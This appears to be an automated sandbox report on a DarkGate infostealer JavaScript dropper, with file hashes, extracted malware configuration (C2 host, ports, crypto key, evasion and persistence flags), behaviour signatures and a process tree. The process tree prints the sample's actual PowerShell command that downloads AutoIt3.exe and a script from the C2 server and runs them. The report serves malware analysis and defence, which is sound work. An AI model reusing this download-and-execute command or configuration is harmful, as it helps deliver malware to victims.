Analysis

  • max time kernel
    140s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-11-2023 16:20

General

  • Target

    060e45bf7b57d4.js

  • Size

    251KB

  • MD5

    eeca398b61cdbb117cc991c5a1ad01cd

  • SHA1

    ea910382bcb251f4888eb756045c9a28eec66563

  • SHA256

    6df349abef5559549975a85a1d4821e453d988fed82c65c26962c7675e678202

  • SHA512

    98bde2b2962c766096512c5b49c5c6f7d96044d351b500a7e4e0bc261cb9f91f2c8c88737d82c312deb47929f29dfb090213addcc93920210b417933c662d9b4

  • SSDEEP

    6144:he7hgXeerjqlI2Iro+5e7hgXeerjqlI2Iro+8:hIhgSlI23GIhgSlI23V

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://8sjimonstersboonkonline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    false

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    gBVVzQVruhpqkv

  • internal_mutex

    txtMut

  • minimum_disk

    43

  • minimum_ram

    7000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:116
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" hujidbbn.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cvtskvav.khm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\AutoIt3.exe

    Filesize

    872KB

    MD5

    c56b5f0201a3b3de53e561fe76912bfd

    SHA1

    2a4062e10a5de813f5688221dbeb3f3ff33eb417

    SHA256

    237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

    SHA512

    195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

  • C:\tepp\hujidbbn.au3

    Filesize

    489KB

    MD5

    305a14601aa52a85993c77549c330e43

    SHA1

    aa4998fc5deaba2d7a32b188d942fded94182e2b

    SHA256

    8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce

    SHA512

    65f2201f003ba2dfa01d3a793c7f58d4ee711f02b8e849081b9325a61b7e04df5708ddf153be74ebf8a48df5ca7c70b68285925786ababb748b669ed994143ff

  • memory/116-12-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

    Filesize

    64KB

  • memory/116-13-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

    Filesize

    64KB

  • memory/116-11-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

    Filesize

    64KB

  • memory/116-10-0x00007FFF23700000-0x00007FFF241C1000-memory.dmp

    Filesize

    10.8MB

  • memory/116-27-0x00007FFF23700000-0x00007FFF241C1000-memory.dmp

    Filesize

    10.8MB

  • memory/116-0-0x0000022E57CB0000-0x0000022E57CD2000-memory.dmp

    Filesize

    136KB

  • memory/4808-30-0x0000000001370000-0x0000000001770000-memory.dmp

    Filesize

    4.0MB

  • memory/4808-31-0x00000000040B0000-0x0000000004245000-memory.dmp

    Filesize

    1.6MB

  • memory/4808-32-0x00000000040B0000-0x0000000004245000-memory.dmp

    Filesize

    1.6MB